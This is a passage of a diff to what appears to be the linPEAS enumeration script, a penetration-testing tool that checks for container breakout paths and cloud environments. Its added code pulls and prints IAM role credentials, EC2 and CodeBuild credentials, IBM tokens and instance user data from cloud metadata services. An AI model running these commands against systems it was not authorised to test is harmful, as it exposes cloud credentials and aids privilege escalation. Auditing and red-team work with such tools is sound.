|
||||||
command -v docker
|
command -v docker
|
||||||
command -v lxc
|
command -v lxc
|
||||||
command -v rkt
|
command -v rkt
|
||||||
@@ -184,8 +226,10 @@ command -v kubectl
|
|||||||
command -v podman
|
command -v podman
|
||||||
command -v runc
|
command -v runc
|
||||||
|
|
||||||
print_2title "Am I Containered?"
|
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
|
||||||
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
print_2title "Am I Containered?"
|
||||||
|
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
|
||||||
|
fi
|
||||||
|
|
||||||
print_2title "Container details"
|
print_2title "Container details"
|
||||||
print_list "Is this a container? ...........$NC $containerType"
|
print_list "Is this a container? ...........$NC $containerType"
|
||||||
@@ -218,7 +262,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
|||||||
print_2title "Docker Container details"
|
print_2title "Docker Container details"
|
||||||
inDockerGroup
|
inDockerGroup
|
||||||
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
print_list "Looking and enumerating Docker Sockets\n"$NC
|
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
|
||||||
enumerateDockerSockets
|
enumerateDockerSockets
|
||||||
print_list "Docker version .................$NC$dockerVersion"
|
print_list "Docker version .................$NC$dockerVersion"
|
||||||
checkDockerVersionExploits
|
checkDockerVersionExploits
|
||||||
@@ -226,7 +270,7 @@ if echo "$containerType" | grep -qi "docker"; then
|
|||||||
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
if [ "$inContainer" ]; then
|
if [ "$inContainer" ]; then
|
||||||
checkDockerRootless
|
checkDockerRootless
|
||||||
print_list "Rootless Docker? ................ $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
|
||||||
echo ""
|
echo ""
|
||||||
fi
|
fi
|
||||||
if df -h | grep docker; then
|
if df -h | grep docker; then
|
||||||
@@ -258,8 +302,8 @@ if [ "$inContainer" ]; then
|
|||||||
echo ""
|
echo ""
|
||||||
print_2title "Container & breakout enumeration"
|
print_2title "Container & breakout enumeration"
|
||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
|
||||||
print_list "Container ID ...................$NC $(cat /etc/hostname && echo '')"
|
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
|
||||||
if echo "$containerType" | grep -qi "docker"; then
|
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
|
||||||
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
|
||||||
fi
|
fi
|
||||||
print_list "Seccomp enabled? ............... "$NC
|
print_list "Seccomp enabled? ............... "$NC
|
||||||
@@ -269,7 +313,7 @@ if [ "$inContainer" ]; then
|
|||||||
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
|
||||||
|
|
||||||
print_list "User proc namespace? ........... "$NC
|
print_list "User proc namespace? ........... "$NC
|
||||||
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
|
||||||
|
|
||||||
checkContainerExploits
|
checkContainerExploits
|
||||||
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
@@ -278,33 +322,35 @@ if [ "$inContainer" ]; then
|
|||||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
|
||||||
|
|
||||||
checkProcSysBreakouts
|
checkProcSysBreakouts
|
||||||
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
|
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
|
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
|
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
|
||||||
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
||||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n"
|
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n"
|
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n"
|
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n"
|
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n"
|
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n"
|
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/sys/kernel/security present ... $security_present\n"
|
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/sys/kernel/security writable .. $security_writable\n"
|
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
if [ "$EXTRA_CHECKS" ]; then
|
if [ "$EXTRA_CHECKS" ]; then
|
||||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n"
|
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n"
|
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n"
|
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/kcore readable ........... $kcore_readable\n"
|
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/kmem readable ............ $kmem_readable\n"
|
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/kmem writable ............ $kmem_writable\n"
|
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/mem readable ............. $mem_readable\n"
|
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/proc/mem writable ............. $mem_writable\n"
|
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n"
|
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n"
|
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n"
|
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
@@ -344,7 +390,9 @@ if [ "$inContainer" ]; then
|
|||||||
if [ "$(command -v capsh)" ]; then
|
if [ "$(command -v capsh)" ]; then
|
||||||
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
|
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
|
||||||
else
|
else
|
||||||
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
|
||||||
|
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
|
||||||
|
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
|
||||||
fi
|
fi
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
|
|||||||
@@ -7,7 +7,10 @@ GCP_BAD_SCOPES="/cloud-platform|/compute"
|
|||||||
|
|
||||||
exec_with_jq(){
|
exec_with_jq(){
|
||||||
if [ "$(command -v jq)" ]; then
|
if [ "$(command -v jq)" ]; then
|
||||||
$@ | jq;
|
$@ | jq 2>/dev/null;
|
||||||
|
if ! [ $? -eq 0 ]; then
|
||||||
|
$@;
|
||||||
|
fi
|
||||||
else
|
else
|
||||||
$@;
|
$@;
|
||||||
fi
|
fi
|
||||||
@@ -20,6 +23,24 @@ check_gcp(){
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
check_do(){
|
||||||
|
is_do="No"
|
||||||
|
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
|
||||||
|
is_do="Yes"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_ibm_vm(){
|
||||||
|
is_ibm_vm="No"
|
||||||
|
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
|
||||||
|
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
|
||||||
|
if [ "$?" -eq 0 ]; then
|
||||||
|
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
|
||||||
|
is_ibm_vm="Yes"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
check_aws_ecs(){
|
check_aws_ecs(){
|
||||||
is_aws_ecs="No"
|
is_aws_ecs="No"
|
||||||
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
|
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
|
||||||
@@ -34,11 +55,6 @@ check_aws_ecs(){
|
|||||||
|
|
||||||
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
|
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
|
||||||
is_aws_ecs="Yes";
|
is_aws_ecs="Yes";
|
||||||
|
|
||||||
|
|
||||||
elif (curl --connect-timeout 2 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 "http://169.254.170.2/v2/credentials/" >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
|
|
||||||
is_aws_ecs="Yes";
|
|
||||||
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
|
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
|
||||||
@@ -48,6 +64,7 @@ check_aws_ecs(){
|
|||||||
|
|
||||||
check_aws_ec2(){
|
check_aws_ec2(){
|
||||||
is_aws_ec2="No"
|
is_aws_ec2="No"
|
||||||
|
is_aws_ec2_beanstalk="No"
|
||||||
|
|
||||||
if [ -d "/var/log/amazon/" ]; then
|
if [ -d "/var/log/amazon/" ]; then
|
||||||
is_aws_ec2="Yes"
|
is_aws_ec2="Yes"
|
||||||
@@ -59,6 +76,10 @@ check_aws_ec2(){
|
|||||||
is_aws_ec2="Yes"
|
is_aws_ec2="Yes"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
|
||||||
|
is_aws_ec2_beanstalk="Yes"
|
||||||
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
check_aws_lambda(){
|
check_aws_lambda(){
|
||||||
@@ -69,6 +90,33 @@ check_aws_lambda(){
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
check_aws_codebuild(){
|
||||||
|
is_aws_codebuild="No"
|
||||||
|
|
||||||
|
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
|
||||||
|
is_aws_codebuild="Yes"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_az_vm(){
|
||||||
|
is_az_vm="No"
|
||||||
|
|
||||||
|
if [ -d "/var/log/azure/" ]; then
|
||||||
|
is_az_vm="Yes"
|
||||||
|
|
||||||
|
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
|
||||||
|
is_az_vm="Yes"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
check_az_app(){
|
||||||
|
is_az_app="No"
|
||||||
|
|
||||||
|
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
|
||||||
|
is_az_app="Yes"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
check_gcp
|
check_gcp
|
||||||
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
@@ -76,8 +124,19 @@ check_aws_ecs
|
|||||||
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
check_aws_ec2
|
check_aws_ec2
|
||||||
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
check_aws_lambda
|
check_aws_lambda
|
||||||
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
check_aws_codebuild
|
||||||
|
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
check_do
|
||||||
|
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
check_ibm_vm
|
||||||
|
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
check_az_vm
|
||||||
|
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
check_az_app
|
||||||
|
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
@@ -158,6 +217,11 @@ if [ "$is_gcp" = "Yes" ]; then
|
|||||||
echo " ============== "
|
echo " ============== "
|
||||||
done
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
print_3title "User Data"
|
||||||
|
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
|
||||||
|
echo ""
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
print_3title "Service Accounts"
|
print_3title "Service Accounts"
|
||||||
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
|
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
|
||||||
@@ -187,11 +251,11 @@ if [ "$is_aws_ecs" = "Yes" ]; then
|
|||||||
|
|
||||||
if [ "$aws_ecs_metadata_uri" ]; then
|
if [ "$aws_ecs_metadata_uri" ]; then
|
||||||
print_3title "Container Info"
|
print_3title "Container Info"
|
||||||
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri"
|
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
print_3title "Task Info"
|
print_3title "Task Info"
|
||||||
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
||||||
echo ""
|
echo ""
|
||||||
else
|
else
|
||||||
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
|
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
|
||||||
@@ -199,7 +263,7 @@ if [ "$is_aws_ecs" = "Yes" ]; then
|
|||||||
|
|
||||||
if [ "$aws_ecs_service_account_uri" ]; then
|
if [ "$aws_ecs_service_account_uri" ]; then
|
||||||
print_3title "IAM Role"
|
print_3title "IAM Role"
|
||||||
exec_with_jq $aws_ecs_req "$aws_ecs_service_account_uri"
|
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
|
||||||
echo ""
|
echo ""
|
||||||
else
|
else
|
||||||
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
|
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
|
||||||
@@ -214,52 +278,59 @@ if [ "$is_aws_ec2" = "Yes" ]; then
|
|||||||
|
|
||||||
aws_req=""
|
aws_req=""
|
||||||
if [ "$(command -v curl)" ]; then
|
if [ "$(command -v curl)" ]; then
|
||||||
aws_req='curl -s -f -H "$HEADER"'
|
aws_req="curl -s -f -H '$HEADER'"
|
||||||
elif [ "$(command -v wget)" ]; then
|
elif [ "$(command -v wget)" ]; then
|
||||||
aws_req='wget -q -O - -H "$HEADER"'
|
aws_req="wget -q -O - -H '$HEADER'"
|
||||||
else
|
else
|
||||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
fi
|
fi
|
||||||
|
|
||||||
if [ "$aws_req" ]; then
|
if [ "$aws_req" ]; then
|
||||||
printf "ami-id: "; $aws_req "$URL/ami-id"; echo ""
|
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||||||
printf "instance-action: "; $aws_req "$URL/instance-action"; echo ""
|
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||||||
printf "instance-id: "; $aws_req "$URL/instance-id"; echo ""
|
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||||||
printf "instance-life-cycle: "; $aws_req "$URL/instance-life-cycle"; echo ""
|
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||||||
printf "instance-type: "; $aws_req "$URL/instance-type"; echo ""
|
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||||||
printf "region: "; $aws_req "$URL/placement/region"; echo ""
|
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
print_3title "Account Info"
|
print_3title "Account Info"
|
||||||
exec_with_jq $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
print_3title "Network Info"
|
print_3title "Network Info"
|
||||||
for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||||||
echo "Mac: $mac"
|
echo "Mac: $mac"
|
||||||
printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||||||
printf "Public Hostname: "; $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||||||
printf "Security Groups: "; $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||||||
echo "Private IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||||||
printf "Subnet IPv4: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||||||
echo "PrivateIPv6s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||||||
printf "Subnet IPv6: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||||||
echo "Public IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||||||
echo ""
|
echo ""
|
||||||
done
|
done
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
print_3title "IAM Role"
|
print_3title "IAM Role"
|
||||||
exec_with_jq $aws_req "$URL/iam/info"; echo ""
|
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
|
||||||
for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||||||
echo "Role: $role"
|
echo "Role: $role"
|
||||||
exec_with_jq $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||||||
echo ""
|
echo ""
|
||||||
done
|
done
|
||||||
|
|
||||||
echo ""
|
echo ""
|
||||||
print_3title "User Data"
|
print_3title "User Data"
|
||||||
$aws_req "http://169.254.169.254/latest/user-data"
|
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo "EC2 Security Credentials"
|
||||||
|
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
|
|
||||||
|
print_3title "SSM Runnig"
|
||||||
|
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
@@ -275,3 +346,159 @@ if [ "$is_aws_lambda" = "Yes" ]; then
|
|||||||
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
|
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [ "$is_aws_codebuild" = "Yes" ]; then
|
||||||
|
print_2title "AWS Codebuild Enumeration"
|
||||||
|
|
||||||
|
aws_req=""
|
||||||
|
if [ "$(command -v curl)" ]; then
|
||||||
|
aws_req="curl -s -f"
|
||||||
|
elif [ "$(command -v wget)" ]; then
|
||||||
|
aws_req="wget -q -O -"
|
||||||
|
else
|
||||||
|
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||||
|
echo "The addresses are in /codebuild/output/tmp/env.sh"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$aws_req" ]; then
|
||||||
|
print_3title "Credentials"
|
||||||
|
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
|
||||||
|
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
|
||||||
|
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
|
||||||
|
|
||||||
|
print_3title "Container Info"
|
||||||
|
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
|
||||||
|
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$is_do" = "Yes" ]; then
|
||||||
|
print_2title "DO Droplet Enumeration"
|
||||||
|
|
||||||
|
do_req=""
|
||||||
|
if [ "$(command -v curl)" ]; then
|
||||||
|
do_req='curl -s -f '
|
||||||
|
